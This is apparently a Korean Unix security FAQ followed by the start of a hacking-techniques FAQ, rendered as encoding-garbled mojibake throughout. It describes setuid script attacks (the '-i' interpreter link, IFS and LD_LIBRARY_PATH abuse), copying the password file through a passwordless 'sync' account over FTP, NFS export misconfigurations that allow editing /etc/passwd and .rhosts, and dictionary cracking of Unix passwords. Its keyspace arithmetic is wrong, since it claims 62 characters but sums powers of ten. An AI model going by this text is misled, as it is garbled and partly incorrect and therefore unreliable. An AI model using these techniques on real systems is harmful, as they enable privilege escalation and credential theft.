´Ù'°í »ý°¢ÇÑ´Ù. ±×°ÍÀ» ÀÎÅÍ³Ý °ü±¤À̶ó°í »ý°¢ÇÏ´Â °Í °°´Ù.
ÀÌ·¯ÇÑ »ý°¢Àº Å©·¡Ä¿¿¡°Ô´Â ÃæºÐÈ÷ ¸Å·ÂÀûÀÎ °ÍÀ¸·Î ¹Þ¾Æµé¿©Áö°í ÀÖÀ¸¸ç, Å©
·¡Å·¿¡ Çѹø ¹°µé¸é Á»Ã³·³ ºüÁ®³ª¿À±â Èûµé°Ô µÇ´Â °ÍÀÌ´Ù.
'¾î¶»°Ô'¿¡ °üÇÑ ´ë´äÀº ÇÇ»óÀûÀÎ ¿µ¿ªÀÌ´Ù. ´ëÇп¡¼´Â ´ëÇпø»ýµé »çÀÌ¿¡ ÀÚ±â
ID¸¦ ºô·ÁÁÖ´Â °ÍÀÌ ±²ÀåÈ÷ º¸ÆíÀûÀÌ´Ù. °¡·É ´ÙÀ½ÀÇ ¿¹¸¦ º¸ÀÚ.
'A°¡ ´Ù¸¥ site¿¡ ÀÖ´Â ³²ÀÚÄ£±¸ B¿¡°Ô ÀÚ½ÅÀÇ ID¸¦ ºô·ÁÁÖ¾ú´Âµ¥,B¿¡°Ô´Â ³×Æ®
¿öÅ©¸¦ À̸®Àú¸® ±â¿ô°Å¸®±â¸¦ ÁÁ¾ÆÇÏ´Â C¶ó´Â Ä£±¸°¡ ÀÖ¾ú´Ù. C´Â AÀÇ site¿¡
¼ Å©·¡Å·ÀÌ °¡´ÉÇÑ ¿©·¯ ID¸¦ ã¾Æ³»°í,±×°ÍµéÀ» ÁÖÀ§ÀÇ Ä£±¸µé¿¡°Ô ¾Ë·Á ÁÖ¾ú
´Ù. ¾ó¸¶ Áö³ªÁö ¾Ê¾Æ, A°¡ »ç¿ëÇÏ´Â ½Ã½ºÅÛ¿¡´Â C¸¦ ºñ·ÔÇÑ ¼ö¸¹Àº ÇØÄ¿µéÀÌ
¼ú¸¶½Ã¸ç ³ë·¡ÇÏ¸é¼ ³î°í ÀÖ¾ú´Ù.'
ÀÌ·± Á¾·ùÀÇ ÀÏÀº ´ëÇÐ»Ó ¾Æ´Ï¶ó ¾îµð¼³ª ½±°Ô ¹ú¾îÁö´Â ÀÏÀÌ´Ù.
À̰ÍÀ» ÇØ°áÇÏ´Â ¹æ¹ýÀº ±³À°À» ÇÏ´Â °ÍÀÌ´Ù. »ç¿ëÀÚµéÀÌ ´ÙÀ½°ú °°Àº ŵµ¸¦
°¡ÁöÁö ¸øÇϵµ·Ï ÇØ¾ß ÇÑ´Ù.
'³ª´Â ³»°¡ »ç¿ëÇÏ´Â °èÁ¤¿¡¼ ¾î¶² ÆÐ½º¿öµå¸¦ »ç¿ëÇϵçÁö ½Å°æ¾²Áö ¾Ê´Â´Ù.
°á±¹ ³ª´Â ·¹ÀÌÀú¸¦ ÀÌ¿ëÇÏ¿© ÇÁ¸°Æ®¸¦ Çϱâ À§ÇØ ³×Æ®¿öÅ©¸¦ ÀÌ¿ëÇÒ »ÓÀÌ´Ù'
ÄÄÇ»ÅÍÀÇ »ç¿ëÀÌ ÀÚ½ÅÀÌ ¼ÓÇÑ ±×·ì¿¡°Ô ¾ó¸¶³ª Áß¿äÇÑ Ã¥ÀÓÀÌ Àִ°¡¸¦ °¡¸£ÃÄ
¾ß ÇÑ´Ù.
9.ħÅõ¸¦ ´çÇÏ¸é ¾î¶»°Ô ÇØ¾ß Çϴ°¡?
ÀÎÅͳݿ¡ ¹°·ÁÀÖ´Ù¸é, CERT¿¡ ¿¬¶ôÇ϶ó.
CERT´Â 1988³â¿¡ defense advanced research projects agency(DARPA)¿¡ ÀÇÇØ
±¸¼ºµÇ¾úÀ¸¸ç, ÀÎÅÍ³Ý »ç¿ëÀÚµéÀÌ °Þ´Â º¸¾È ¹®Á¦¿¡ °üÇØ µ½´Â°ÍÀ» ¸ñÀûÀ¸·Î ÇÑ
´Ù.
CERTÀÇ º»ºÎ´Â software engineering,carnegie mellon univ.,pittsburgh,PA¿¡ À§
Ä¡ÇØ ÀÖ´Ù.
10.'firewall'(¹æÈº®)ÀÌ ¹«¾ùÀΰ¡?
ÀÎÅÍ³Ý firewallÀº ´ç½ÅÀÇ »çÀÌÆ®¿Í ÀÎÅÍ³Ý Áß°£¿¡ ÀÖ´Â machineÀ¸·Î,³×Æ®¿öÅ©ÀÇ
¼ÒÅë»óȲÀ» Á¶ÀýÇϸç ÀÎÅÍ³Ý port¿¡ ´ëÇÑ Á¢¼ÓÀ» Á¦ÇÑÇÑ´Ù. ºñ½ÁÇÑ ½Ã½ºÅÛÀÌ ´Ù
¸¥ ³×Æ®¿öÅ© ŸÀÔ¿¡µµ °¡´ÉÇÏ´Ù.
11.¿Ö setuid shell scripts¸¦ »ç¿ëÇÒ ¼ö ¾ø´Â°¡?
¿©·¯±âÁö ÀÌÀ¯·Î »ç¿ëÇØ¼´Â ¾ÈµÇ´Âµ¥, ´ë°³´Â À¯´Ð½º Ä¿³Î¿¡ ÀÖ´Â ¹ö±×¿Í °ü·Ã
µÇ¾î ÀÖ´Ù. ¿©±â¿¡ ¸î°¡Áö Àß ¾Ë·ÁÁø ¹®Á¦°¡ ³ª¿À´Âµ¥, À̵éÀº ÃÖ±Ù¿¡ ¿Í¼¾ß ¼ö
Á¤µÇ¾ú´Ù.
(1)script°¡ "#!/bin/sh"·Î ½ÃÀÛÇϰí, link(symbolicÀÌµç ´Ù¸¥°ÍÀ̵ç)rk "-i"¿Í ÇÔ°Ô
¸¸µé¾îÁú ¼ö ÀÖ´Ù¸é,script¸¦ ½ÇÇàÇÒ ¼ö ÀÖÀ¸¹Ç·Î setuid shell·Î ¹Ù·Î µé¾î°¥ ¼ö
ÀÖ´Ù. "#!/bin/sh -i",Áï interactive shellÀÌ´Ù.
(2)¸í·É¾î 󸮰¡ ½ÃÀ۵Ǵ ½ÃÁ¡°ú ±×¸®°í »õ·Ó°Ô setuid¸¦ ¼³Á¤ÇÏ´Â exec()ed°¡
ÁøÇàµÇ´Â ½ÃÁ¡ »çÀÌ¿¡¼ ¾î´À ¼¿½ºÅ©¸³Æ®¸¦ ´ç½ÅÀÌ ¼±ÅÃ,½ÇÇà°¡´ÉÇÑ °ÍÀ¸·Î ¹Ù
²Ù¾îÁִ°¡ ÇÏ´Â »óȲÀÌ ¸¹Àº Ä¿³Îµé¿¡°Ô ÇÇÇØ¸¦ ÀÔÈù´Ù. °è¼ÓÇØ¼ ÁýÁßÀûÀ¸·Î
ÆÄ°íµç´Ù¸é À̷лóÀ¸·Î´Â,´©±¸µçÁö ½ÇÇà½Ã۱⸦ ¿øÇÏ´Â ÇÁ·Î±×·¥ÀÇ Ä¿³ÎÀ» ¾ò
À» ¼ö ÀÖ´Ù
(3)IFSÀÇ ¹ö±× : IFSº¯¼ö´Â ¸í·É¾îµéÀ» ó¸®ÇÒ ¶§ ¼¿¿¡ ÀÇÇØ¼ °ø¹éÀ¸·Î 󸮵Ç
´Â ¹®ÀÚµéÀÇ Ç¥¸¦ °¡Áö°íÀÖ´Ù. '/'¹®ÀÚ¸¦ °¡Áö´Â IFSº¯¼ö¸¦ ¹Ù²Ù¾î 'bin/true'¸¦
'bin true'·Î ¹Ù²Ü ¼ö ÀÖ´Ù.
¸¸ÀÏ ¿øÇÏ´Â °ÍÀÌ º¯°æµÈ IFSº¯¼ö¸¦ »©³»´Â °ÍÀ̶ó¸é 'bin'¸í·ÉÀ» ´ç½ÅÀÇ °æ·Î¿¡
¼³Ä¡Çϰí 'bin/true'¶ó´Â setuid ½ºÅ©¸³Æ®¸¦ ½ÇÇàÇÏ¸é µÈ´Ù.
Á¤¸»·Î ½ºÅ©¸³Æ®¸¦ ÀÌ¿ëÇÏ¿© setuid¸¦ ¼³Á¤ÇÏ·Á¸é ´ÙÀ½ÀÇ µÎ°¡Áö ¹æ¹ýÀÌ ÀÖ´Ù.
a)½ºÅ©¸³Æ®°¡ ½ÇÇàµÇ±â Àü¿¡ IFS¿Í PATH¸¦ ¸®¼Â½ÃŰÁö ¾Êµµ·Ï ÁÖÀÇÇÏ¸ç ½ºÅ©
¸³Æ® ÁÖº¯ÀÇ 'C'¿¡ setuid¸¦ Áý¾î³Ö´Â´Ù. ¸¸ÀÏ ½Ã½ºÅÛÀÌ ¶óÀ̺귯¸®¿Í ¸µÅ©½ÃŰ
±â ½ÃÀÛÇÑ´Ù¸é LD_LIBRARY_PATHÀÇ ¼³Á¤°ªÀ» »ý°¢ÇØ º¸´Â°ÍÀÌ ÁÁ´Ù.
b)¾ÈÀüÇÑ setuidÀÇ ¼³Á¤ÀÇ ¿ëÀ̼ºÀ» °¡Áö°í ÀÖÀ¸¸ç º¸¾È¿¡ ¸Å¿ì °ÇÑ perl°°Àº
½ºÅ©¸³Æ® ¾ð¾î¸¦ »ç¿ëÇ϶ó.
±×·¯³ª ÁøÂ¥·Î ¾ÈÀüÇÑ °ÍÀº ¾Æ¿¹ setuid ½ºÅ©¸³Æ®¸¦ »ç¿ëÇÏÁö ¾Ê´Â°ÍÀÌ´Ù.
12.console·Î Á¢¼ÓÇÑ 'root'¸¦ ¿µ¿øÈ÷ ºüÁ®³ª¿Ã¼ö ¾ø´Â°¡?
console·Î 'smart' Å͹̳¯À» »ç¿ëÇϰí,'root'·Î Á¢¼ÓÇÑ »óÅ¿¡¼ '/dev/console'À»
¾²±â °¡´ÉÇÏ°Ô ¸¸µå´Â °ÍÀº ÀáÀçÀûÀÎ °áÁ¡À» °¡Áö°íÀÖ´Ù. Å͹̳ÎÀº escape
sequence¸¦ ÅëÇØ¼ ¿ø°ÝÁ¦¾îÇÏ´Â °Í¿¡ ´Ù¼Ò Ãë¾àÁ¡À» °¡Áö°í ÀÖ°í,root shell·Î
¹«¾ùÀΰ¡¸¦ ÀÔ·ÂÇÏ´Â °ÍÀÌ °¡´ÉÇÏ´Ù. Å͹̳ΠÀ¯ÇüÀº 'ps'¸í·ÉÀ» ÀÌ¿ëÇÏ¸é ¾Ë ¼ö
ÀÖ´Ù.
À̰Ϳ¡ ´ëÇÑ ´Ù¾çÇÑ ÇØ°áÃ¥À» ¸ð»öÇØ º¼ ¼ö Àִµ¥,ÀϹÝÀûÀ¸·Î´Â console ¼ÒÀ¯ÀÚ
¿Í group-write¿¡°Ô¸¸ ¿¢¼¼½º ±ÇÇÑÀ» ÁÖ°í,±×·± ´ÙÀ½ console¿¡ Ãâ·ÂÀ» º¸³¾ ÇÊ
¿ä°¡ ÀÖ´Â ÇÁ·Î±×·¥¿¡¼ setgid ¸ÞÄ«´ÏÁòÀ» ÀÌ¿ëÇÏ´Â °ÍÀÌ´Ù.
13.null password¸¦ °¡Áö´Â unix °èÁ¤À» ¸¸µé¼ö ¾ø´Â°¡?
ÀÓÀÇ·Î »ç¿ëÇϱâ À§ÇÏ¿© ÆÐ½º¿öµå°¡ ¾ø´Â °èÁ¤À» ¸¸µå´Â°ÍÀº »ó´çÈ÷ À§ÇèÇÏ´Ù.
Ưº°ÇÑ ÀÌÀ¯°¡ À־ó±âº¸´Ù´Â Å©·¡Ä¿°¡ ÀÌ¿ëÇÒ ¼ö ÀÖ´Â °ÅÁ¡À» Á¦°øÇÒ ¼öÀÖ
±â ¶§¹®ÀÌ´Ù.
¿¹¸¦µé¾î,´©±º°¡°¡ ÆÐ½º¿öµå°¡ ¾ø´Â °èÁ¤ÀÎ 'sync'¸¦ ã¾Æ³»°í login °úÁ¤¾øÀÌ µð
½ºÅ©¸¦ »ç¿ëÇÏ°Ô µÇ¾ú´Ù°í °¡Á¤ÇÏÀÚ. À̰ÍÀº ¾ÈÀüÇϰí À§ÇèÇØ º¸ÀÌÁö ¾ÊÀ» ¼öµµ
ÀÖ´Ù.
±×·¯³ª ´ç½ÅÀÇ ½Ã½ºÅÛÀÌ FTP¿¡ Á¢¼ÓÇϱâ Àü¿¡ »ç¿ëÀÚ¸¦ °Ë»çÇÏÁö ¾Ê´Â ½Ã½ºÅÛ
ÁßÀÇ Çϳª¶ó¸é ¹®Á¦°¡ ¹ß»ýÇÒ ¼ö ÀÖ´Ù. Å©·¡Ä¿´Â ´Ù¾çÇÑ FTP¹æ¹ýÀ» ÀÌ¿ëÇÏ¿©
Á¢¼ÓÀ» Çϰí, ÆÐ½º¿öµå°¡ ¾ø´Â °èÁ¤ 'sync'¸¦ ÀÌ¿ëÇØ¼, ÆÐ½º¿öµå ÆÄÀÏÀ» º¹»çÇØ
°¡ ¼ö ÀÖ´Ù.
À¯´Ð½ºÀÇ ÃֽŹöÀüÀº ÀÌ·± Á¾·ùÀÇ »ç°ÇÀ» ¹Ì¸® ¹æÁöÇÏ´Â ±â´ÉÀ» °®°í ÀÖÁö¸¸,¿Ï
ÀüÇÏ°Ô ¾ÈÀüÇÑ ½Ã½ºÅÛÀ» À§Çؼ´Â ½Ã½ºÅÛÀÇ ¸ðµç ÇÁ·Î±×·¥°ú »ç¿ëÀÚÈ®Àιý µî¿¡
°üÇØ¼ ±íÀÌ ÀÖ´Â Áö½ÄÀ» °¡Áö°íÀÖ¾î¾ß ÇÑ´Ù.
null-password°¡ °®°íÀÖ´Â ¶Ç ´Ù¸¥ ¹®Á¦Á¡Àº,ÀÚ½ÅÀÇ ¶óÀ̺귯¸®¿¡ ÀÖ´Â
LD_LIBRARY_PATH º¯¼ö¸¦ ¹Ù²ã¼ 'login -p'¶Ç´Â 'su'¸¦ ½ÇÇà½ÃÅ´À¸·Î½á ÀÚ½Å
ÀÇ ÇÁ·Î±×·¥À» 'sync'°¡ »ç¿ëÇÑ °Íó·³ ½Ã½ºÅÛ ÇÁ·Î±×·¥À» ¼ÓÀÏ °¡´É¼ºÀÌ ÀÖ´Ù
´Â °ÍÀÌ´Ù.
14.x-windows¿Í °ü·ÃµÈ º¸¾È»óÀÇ ÇãÁ¡Àº ¾î¶²°ÍÀÌ Àִ°¡?
ÀϺδ X¿¡¸¸, ¾î¶² °ÍµéÀº ½Ã½ºÅÛ ÀüüÀÇ º¸¾È¿¡ ¿µÇâÀ» ¹ÌÄ¡±âµµ ÇÑ´Ù.
¿©±â¼´Â ÀÚ¼¼È÷ ´Ù·çÁö ¾Ê°ÚÀ¸´Ï ´Ù¸¥ Âü°í¼ÀûÀ» º¸±â¹Ù¶õ´Ù.
ÇѰ¡Áö ÁöÀûÇÏ°í ½ÍÀº °ÍÀº X´Â 'incompatible usage'º¸¾È¿¡ ¹®Á¦¸¦ °¡Áö°í ÀÖ
´Â ÇÁ·Î±×·¥À̶ó´Â °ÍÀÌ´Ù. ¿¹¸¦µé¾î Å©·¡Ä¿´Â ÆÐ½º¿öµå°¡ ¾ø´Â °èÁ¤À» ÀÌ¿ëÇÏ
¿© È£½ºÆ®¿¡ ÀÖ´Â xsessionÀ» ½ÇÇàÇÒ °¡´É¼ºÀÌ ÀÖ´Ù.
15.NFS¿¡´Â ¾î¶² ÇãÁ¡ÀÌ Àִ°¡?
NFSÀÇ º¸¾ÈÀº ¼¹ö°¡ ¸¸µé¾î³»´Â ÆÄÀÏÀ» ¼³Ä¡ÇÏ´Â »ç¶÷¿¡°Ô Å©°Ô ÀÇÁ¸ÇÑ´Ù.
È£½ºÆ®°¡ ¸¸µé¾î³½ µð·ºÅ丮¸¦ ¼³Ä¡Çϱâ À§ÇÏ¿© Á¤È®ÇÑ Æ÷¸ËÀ» Á¤ÇÏ´Â °ÍÀº À¯
´Ð½ºÀÇ Á¾·ù¿¡ µû¶ó ´Ù¾çÇÏÁö¸¸, ÀϹÝÀûÀ¸·Î´Â ±× Á¤º¸´Â ÈÀÏ '/etc/exports'¿¡
ÀúÀåµÈ´Ù. ÀÌ ÈÀÏÀº ¸¹Àº µð·ºÅ丮¸¦ °¡Áö°í ÀÖÀ¸¸ç,°¢°¢Àº NFS°¡ ±× µð·ºÅ丮
·Î mountÇÒ ¼ö Àִ ƯÁ¤ÇÑ È£½ºÆ® ¶Ç´Â ³Ý±×·ìÀÇ ¸ñ·ÏÀ» °¡Áö°í ÀÖ´Ù. À̸ñ·Ï
Àº 'access list'¶ó°í ºÒ¸°´Ù.
'hosts'´Â °³º°ÀûÀÎ ½Ã½ºÅÛÀÌÁö¸¸,'netgroups'´Â '/etc/netgroup'¿¡ ¸í½ÃµÇ¾î ÀÖ´Â
hosts ¿Í usernameÀÇ Á¶ÇÕÀÌ´Ù. À̰͵éÀº finetuning accessÀÇ ÇÑ ¹æ¹ýÀ» Á¦°øÇÒ
¸ñÀûÀ¸·Î ¸¸µé¾îÁø °ÍÀÌ´Ù.
ÀÌ·¯ÇÑ ÈÀϵéÀº Àбâ Àü¿ë,Àбâ-¾²±â °¡´É,±×¸®°í ½´ÆÛÀ¯Àú°¡ Á¢±ÙÇÒ ¼ö Àִ°¡
¿¡ ´ëÇÑ Á¤º¸µéÀ» Æ÷ÇÔÇϰí ÀÖ´Ù. Áß¿äÇÏ°Ô ±â¾ïÇØ¾ß ÇÒ Á¡Àº /etc/exports¿¡ ÀÖ
´Â ƯÁ¤ÇÑ µð·ºÅ丮¸¦ acess list °¡ Æ÷ÇÔÇϰí Àִ°¡¿¡ ´ëÇÑ ¿©ºÎÀÌ´Ù.
(1)<nothing>
µð·ºÅ丮´Â ¾îµð¿¡ ÀÖ´Â ´©±¸µçÁö mountÇÒ ¼ö ÀÖ´Ù.
(2)<a specific hostname>
µð·ºÅ丮´Â Çã°¡µÈ »ç¶÷¸¸ÀÌ mountÇÒ ¼ö ÀÖ´Ù. À̰ÍÀº ½Å·ÚÇÒ ¸¸ÇÑ »ç¶÷À» ÀǹÌ
ÇÏ´Â °ÍÀº ¾Æ´Ï´Ù. ¿¹¸¦µé¾î NFS°¡ PC¿¡¼ µ¹¾Æ°¡´Â »óȲÀ̶ó¸é ¾î´À ´©±¸µçÁö
mount ÇÒ ¼ö ÀÖ´Ù.
(3)<a netgroup name>
netgroupÀÌ,
a)ºóÄÀ̶ó¸é ¾îµð¿¡ ÀÖ´Â ´©±¸µçÁö ¸¶¿îÆ®ÇÒ¼ö ÀÖ´Ù.
b)'(,,)'À» Æ÷ÇÔÇϰí ÀÖ´Ù¸é,¾îµð¿¡ ÀÖ´Â ´©±¸³ª ¸¶¿îÆ®ÇÒ¼ö ÀÖ´Ù.
c)ºóÄÀ̰ųª '(,,)'À¸·Î ±â·ÏµÈ netgroupÀ» °¡Áö°í ÀÖ´Ù¸é,¾îµð¿¡ ÀÖ´Â ´©±¸³ª
¸¶¿îÆ® ÇÒ¼öÀÖ´Ù.
d)'(hostname,,)'¶ó°í ÀûÇôÀÖÀ¸¸é, ÀÌ È£½ºÆ®ÀÇ »ç¿ëÀÚ¸¸ÀÌ ¸¶¿îÆ®ÇÒ¼öÀÖ´Ù.
e)(,username,)'¶ó°í ÀûÇôÀÖÀ¸¸é, ÀÌ »ç¿ëÀÚ´Â ¾îµð¼µçÁö ¸¶¿îÆ®ÇÒ¼öÀÖ´Ù.
(4)<hostname À̳ª netgroupÀÌ ¾Æ´Ñ ´Ü¾îÀÏ °æ¿ì>
¸¸¾à host nameÀÎ 'athena'¸¦ 'ahtena'·Î À߸ø ÀÔ·ÂÇßÀ» °æ¿ì, À̰ÍÀº netgroup
nameÀ¸·Î ¹Þ¾Æµé¿©Áø´Ù. ÀÌ¿Í °°Àº netgroupÀº Á¸ÀçÇÏÁö ¾ÊÀ¸¹Ç·Î ºóÄÀ¸·Î ÀÎ
½ÄµÈ´Ù. µû¶ó¼ ¾îµð¿¡ ÀÖ´Â ´©±¸µçÁö ¸¶¿îÆ®ÇÒ¼öÀÖ´Ù.
µû¶ó¼ /etc/exports ¿Í /etc/netgroup ¿¡ Áý¾î³ÖÀ» ³»¿ë¿¡ ´ëÇØ¼ ÃæºÐÈ÷ ÁÖÀǸ¦
±â¿ïÀÌÁö ¾Ê´Â´Ù¸é,pc¸¦ °¡Áö°íÀÖ´Â »ç¿ëÀÚµéÀº ´ÙÀ½°ú °°Àº ÇൿÀ» ÇÒ ¼ö ÀÖ´Ù.
a)serverÀÇ ÈÀϽýºÅÛÀ» ÀÚ½ÅÀÇ µð½ºÅ©¿¡ º¹»çÇÒ ¼ö ÀÖ´Ù.
b)/etc/passwd,.rhosts,/etc/hosts.equiv¸¦ ÆíÁýÇÒ ¼ö ÀÖ´Ù.
c)¶Ç ´Ù¸¥ »ç¿ëÀÚ,¾Æ¸¶µµ 'root'·Î Á¢¼ÓÇÒ °¡´É¼ºÀÌ ÀÖ´Ù.
À§ÀÇ Á¤º¸´Â NFS¿¡ µû¶ó ´Þ¶óÁú ¼ö ÀÖÁö¸¸,º¸Åë NFS¿¡¼´Â ¸ðµÎ Àû¿ëÀÌ µÇ¾ú
´Ù.'EMPTY' netgroupÀ» ¸¸µå´Â °¡Àå ÁÁÀº ¹æ¹ýÀº ´ÙÀ½°ú °°´Ù.
ngname(-,-.,-)
À̰ÍÀº no-one,no-host,no-NIS-domainÀ» ÀǹÌÇÑ´Ù.
16.¾ÈÀüÇÑ ÆÐ½º¿öµå¸¦ ¸¸µå´Â ¹æ¹ýÀº ¹«¾ùÀΰ¡?
¹æ¹ýÀº¾ø´Ù. '¸¸µç´Ù'¶ó´Â ¸»ÀÌ Áß¿äÇÑ Àǹ̸¦ °¡Áø´Ù. ÀÏ´Ü ÆÐ½º¿öµå¸¦ ¸¸µé¾î³»
´Â ¾Ë°í¸®ÁòÀÌ ½Ã½ºÅÛ¿¡¼ ±¸¼ºµÇ¸é, ÀÌ ÆÐ½º¿öµå¸¦ ¾Ë¾Æ³»±â À§Çؼ´Â ÀÌ ¾Ë°í
¸®Áò¸¸ ºÐ¼®Çس»¸é µÈ´Ù. ¾Ë°í¸®ÁòÀ» º¹ÀâÇÏ°Ô ¸¸µéÁö ¾Ê´Â´Ù¸é ½±°Ô ºÐ¼®ÀÌ µÉ
°ÍÀÌ´Ù.
a)Å©·¡Ä¿´Â ¸ðµç »ç¿ëÀÚÀÇ ÆÐ½º¿öµå¿¡ ´ëÇØ password generator°¡ ¸¸µé¾î ³¾ ¼ö
ÀÖ´Â ¸ðµç °æ¿ì¸¦ ´ëÀÔÇØº»´Ù.
b)ÆÐ½º¿öµå ¾Ë°í¸®ÁòÀ» ºÐ¼®Çؼ ´Ù¸¥ »ç¿ëÀÚÀÇ ÆÐ½º¿öµå¿¡ Àû¿ë½ÃÄѺ»´Ù.
ÆÐ½º¿öµå¸¦ Á¦´ë·Î ¸¸µé·Á¸é ´ÙÀ½°ú °°ÀÌ ÇØ¼´Â ¾ÈµÈ´Ù.
ÀÚ½ÅÀÇ À̸§À̳ª À̸§+¸Ó¸´±ÛÀÚÀÇ ÀϺθ¸ ¹Ù²Û´Ù,»çÀü¿¡ ÀÖ´Â ´Ü¾î¸¦ »ç¿ëÇÑ´Ù,
¸Ó¸´±ÛÀÚ,»ýȰ°ú °ü·ÃµÇ¾î ½±°Ô ÃßÃøÀÌ °¡´ÉÇѴܾî......
17.PASSWORD´Â ±×·¸°Ô Áß¿äÇѰ¡?
ÃÖÀü¼±¿¡¼ ħÅõ¸¦ ¸·¾Æ³»´Â ¿ªÇÒÀ» ÇϹǷΠ¸Å¿ì Áß¿äÇÏ´Ù. Å©·¡Ä¿°¡ ½Ã½ºÅÛ¿¡
Á¢±ÙÇÒ ¼ö ¾ø´Ù¸é,ÆÐ½º¿öµå ÆÄÀÏÀ» ¾²°Å³ª ÀÐÀ» ¼ö ¾øÀ¸¸ç ±× ¿ÜÀÇ ´Ù¸¥ ¹æ¹ýµµ
Á¸ÀçÇÒ ¼ö ¾ø´Ù.
±×°¡ ÃÖ¼ÒÇÑ ÆÐ½º¿öµå ÆÄÀÏÀ» ÀÐÀ» ¼ö ¾ø´Ù¸é ±× ¾È¿¡ ÀÖ´Â ¾î¶² ÆÐ½º¿öµåµµ ¾Ë
¾Æ³¾ ¼ö ¾ø´Ù. ±×·¯³ª ±×°¡ ÆÐ½º¿öµå ÈÀÏÀ» ÀÐÀ» ¼ö°¡ ÀÖ´Ù¸é,½Ã½ºÅÛÀÇ ÇãÁ¡À»
ÀÌ¿ëÇØ¼ rootÀÇ ÆÐ½º¿öµå ¸¶Á® ¾Ë¾Æ³¾ °¡´É¼ºÀÌ ÀÖ´Ù.
18.PASSWORDÀÇ Á¶ÇÕÀÌ °¡´ÉÇÑ °³¼ö´Â ¾ó¸¶³ª µÇ´Â°¡?
´ëºÎºÐÀÇ »ç¶÷µéÀº CRACK°°Àº ÇÁ·Î±×·¥µéÀÌ, ÆÐ½º¿öµå¿¡ ¾²ÀδÀ °¡´ÉÇÑ ¸ðµç
¹®ÀÚ¸¦ ÀÌ¿ëÇÏ¿© °Ë»öÀ» ÇÒ ¼ö ÀÖÀ» ¸¸Å ¹ßÀüÇÒ °ÍÀ̶ó°í °ÆÁ¤Çϰí ÀÖ´Ù.
°£´ÜÇÏ°Ô ´ÙÀ½Ã³·³ °¡Á¤À» ÇØ¼ °è»êÀ»Çغ¸ÀÚ
(1)62°³ÀÇ ¹®ÀÚ¸¦ ÀÌ¿ëÇØ¼ ÆÐ½º¿öµå¸¦ ¸¸µç´Ù.(A-Za-z0-9)
(2)5°³ºÎÅÍ 8°³ÀÇ ¹®ÀÚ·Î ÆÐ½º¿öµå¸¦ ¸¸µç´Ù.
±×·¸´Ù¸é °¡´ÉÇÑ ÆÐ½º¿öµåÀÇ Å©±â´Â ´ÙÀ½°ú °°´Ù(62°³ÀÇ ¹®ÀÚ¸¦ ÀÌ¿ë)
100000 +
1000000 +
10000000 +
100000000 =
------------
111100000
ÇöÀçÀÇ ±â¼úÀ» ÀÌ¿ëÇϸé À§ÀÇ ¹®ÀÚ¿À» °Ë»öÇÏ´Â °ÍÀº ±×¸® ¾î·ÆÁö ¾Ê´Ù.
±×·¯³ª ÆÐ½º¿öµå¿¡´Â ÀÌ ¿Ü¿¡µµ ´Ù¾çÇÑ ¹®ÀÚµéÀÌ »ç¿ëµÈ´Ù´Â °ÍÀ» ÀØÁö ¸»¾Æ¶ó.
<space>,¸ðµç ±¸µÎÁ¡, ±âÈ£(~<>|\$%^&*). ¸¸¾à 95°³ÀÇ ºñÁ¦¾î ¹®ÀÚ¸¦ ÆÐ½º¿öµå
¿¡ »ç¿ëÇÒ ¼ö ÀÖ´Ù¸é, Å©·¡Ä¿°¡ ÀÌ ¸ðµÎ¸¦ °Ë»öÇÏ´Â °ÍÀº ½±Áö¾Ê´Ù.
±×·¯³ª ¾ÆÁ÷µµ Å©·¡Ä¿°¡ ½Ã½ºÅÛ¿¡ ħÅõÇÒ °¡´É¼ºÀº ¿©ÀüÈ÷ Á¸ÀçÇÑ´Ù.
³Ê¹« °ÆÁ¤ÇÒ °ÍÀº ¾ø´Ù. °·ÂÇÑ ÆÐ½º¿öµå ÈÀÏÀ» ¸¸µé¾î¼ ½Ã½ºÅÛÀ» º¸È£ÇÑ´Ù¸é
Å©·¡Ä¿µµ ½±°Ô ħÅõÇÏÁö ¸øÇÒ °ÍÀ̱⠶§¹®ÀÌ´Ù.
19.¾ÆÁ÷µµ ÀÎÅÍ³Ý WORMÀÌ Ä§ÀÔ°¡´ÉÇÑ ½Ã½ºÅÛÀÌ Àִ°¡?
´ëºÎºÐÀÇ °æ¿ì À¯´Ð½º ÇÁ·Î±×·¥ÀÇ ¹ö±×°¡ ¼öÁ¤µÇ¾î Áö±ÝÀº wormÀÌ Ä§ÀÔÇÒ ¼ö
ÀÖ´Â ½Ã½ºÅÛÀÌ ¸¹Áö ¾Ê´Ù.
±×·¯³ª ¾ÆÁ÷µµ ºÐ¸íÈ÷ ħÀÔ °¡´ÉÇÑ ½Ã½ºÅÛÀÌ Á¸ÀçÇÑ´Ù.
* ÇØÅ·Å×Å©´Ð¿¡ ´ëÇÑ ÁÖ¿ä FAQ ¸ðÀ½ *
1.¾î¶»°Ô À¯´Ð½º ÆÐ½º¿öµå ÈÀÏ¿¡ Á¢±ÙÇÒ ¼ö Àִ°¡?
Ç¥ÁØ À¯´Ð½º¿¡¼´Â password file ÀÌ /etc/passwdÀÌ´Ù.
NIS/yp ¶Ç´Â password shadowingÀ» ÀÌ¿ëÇÏ´Â À¯´Ð½º ½Ã½ºÅÛ¿¡¼´Â ÆÐ½º¿öµåÈÀÏÀÌ ´Ù¸¦ ¼ö ÀÖ
´Ù.
2.¾î¶»°Ô À¯´Ð½º ÆÐ½º¿öµå¸¦ ±ú¶ß¸®³ª?
ÀϹÝÀûÀ¸·Î À¯´Ð½º ÆÐ½º¿öµå´Â Ư¼öÇÑ ÇÔ¼ö·Î ¾ÏȣȰ¡µÇ¾î ÀÖ¾î ÇØµ¶ÀÌ »ó´çÈ÷ ¾î·Æ´Ù. login ÇÁ
·Î±×·¥Àº password:¿¡¼ ÀÔ·ÂÇÑ ¹®ÀÚµéÀ» ¾ÏÈ£ÈÇϸç,ÀÌ·¸°Ô ¾ÏÈ£ÈµÈ ¹®ÀÚ¿Àº À¯´Ð½º¿¡ ÀúÀåµÇ
¾î ÀÖ´Â ±âÁ¸ÀÇ ¾ÏÈ£ÈµÈ ¹®ÀÚ¿°ú ºñ±³°¡ µÈ´Ù. ÀÌ·¸°Ô ¾ÏÈ£ÈµÈ ¹®ÀÚ¿ÀÌ ¹«¾ùÀΰ¡¸¦ ¾Ë¾Æ³»±â
À§Çؼ ´Ü¾îÇ¥¸¦ ÀÌ¿ëÇÏ´Â ¹æ¹ýÀÌ ÀÖ´Ù. ´Ü¾î Ç¥¿¡ ÀÖ´Â °¢°¢ÀÇ ´Ü¾î´Â ¾Ïȣȵǰí ÇØ¼®ÇϰíÀÚ
ÇÏ´Â ÆÐ½º¿öµåÀÇ ¾ÏÈ£È ÇüÅÂ¿Í ºñ±³µÈ´Ù.
